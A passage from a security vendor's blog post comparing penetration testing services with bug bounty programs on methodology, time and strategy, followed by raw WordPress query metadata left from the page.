Penetration testing is more methodical in nature. Testers follow robust checklists to ensure consistency in the testing process and make certain that they are not missing any notable gaps in coverage. They also hold each other accountable by working on teams. At NetSPI, our pentesters use the workbench in our Resolve PTaaS technology platform to collaborate and maintain consistency.

For any organization that has legal, regulatory, or contractual obligations for a robust security testing bug bounties simply cannot meet those requirements. Bug bounty programs are opportunistic. There is no assurance of full coverage testing as they do not adhere to defined methodology or checklists to ensure consistency from assessor to assessor, or assessment to assessment. Some bug bounties can use checklists upon request – for a hefty added cost.

Time

While bug bounty programs are evergreen and always-on, traditional penetration testing has been limited by time-boxed assessments.

To address this, first and foremost we recommend organizations provide their pentesting team with access to source code or perform a threat modeling assessment to equip their team with information a malicious hacker could gain access to in the wild. This allows pentesters to accurately emulate real attackers and spend more time finding business critical vulnerabilities.

The pentesting industry is rapidly evolving and is becoming more continuous, thanks to the PTaaS delivery model and attack surface management. Gone are the days of annual pentests that check a compliance box. We see a huge opportunity for integration with attack surface management capabilities to truly offer continuous testing of external assets.

Strategy

Penetration testing is a strategic security activity. On the other hand, bug bounty programs are very tactical and transactional: find a vulnerability, report it, get paid for it, then move on to the next hunt.

As noted earlier, penetration testing is often viewed as an extension of an internal security team and collaborates closely with defensive teams. You can also find pentesting partners that offer strategic program maturity advisory services. Because of this, pentesters deeply understand the systems, networks, applications, etc. and can assess them holistically. This is particularly beneficial for complex systems and large organizations with massive technology ecosystems.

Furthermore, strategic partnerships between penetration testing vendors and their partners lead to a greater level of trust, institutional knowledge, and free information exchange. In other words, when you work with a team of penetration testers on an ongoing basis, their ability to understand the mechanics of your company and its technologies lends itself to discovering both a greater number and higher quality of vulnerabilities.

Final Thoughts

The way penetration testing has and continues to evolve fills many of the gaps left by bug bounty programs. There is certainly room for both bug bounty programs and penetration testing in the security sector – in many cases the services complement one another. However, it is important to understand the implications and risks associated when deciding where to focus your efforts and budget. 

[post_title] => Penetration Testing Services vs. Bug Bounty Programs [post_excerpt] => What are the greatest differences between pentesting and bug bounties? We break it down into six components: personnel, payment, vulnerabilities, methodology, time, and strategy. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => penetration-testing-services-versus-bug-bounty [to_ping] => [pinged] => [post_modified] => 2022-02-16 10:23:10 [post_modified_gmt] => 2022-02-16 16:23:10 [post_content_filtered] => [post_parent] => 0 [guid] => https://www.netspi.com/?p=27276 [menu_order] => 103 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [comment_count] => 0 [current_comment] => -1 [found_posts] => 2 [max_num_pages] => 0 [max_num_comment_pages] => 0 [is_single] => [is_preview] => [is_page] => [is_archive] => [is_date] => [is_year] => [is_month] => [is_day] => [is_time] => [is_author] => [is_category] => [is_tag] => [is_tax] => [is_search] => [is_feed] => [is_comment_feed] => [is_trackback] => [is_home] => 1 [is_privacy_policy] => [is_404] => [is_embed] => [is_paged] => [is_admin] => [is_attachment] => [is_singular] => [is_robots] => [is_favicon] => [is_posts_page] => [is_post_type_archive] => [query_vars_hash:WP_Query:private] => d72d69f276415179ffd91e80d1318863 [query_vars_changed:WP_Query:private] => [thumbnails_cached] => [stopwords:WP_Query:private] => [compat_fields:WP_Query:private] => Array ( [0] => query_vars_hash [1] => query_vars_changed ) [compat_methods:WP_Query:private] => Array ( [0] => init_query_flags [1] => parse_tax_query ) )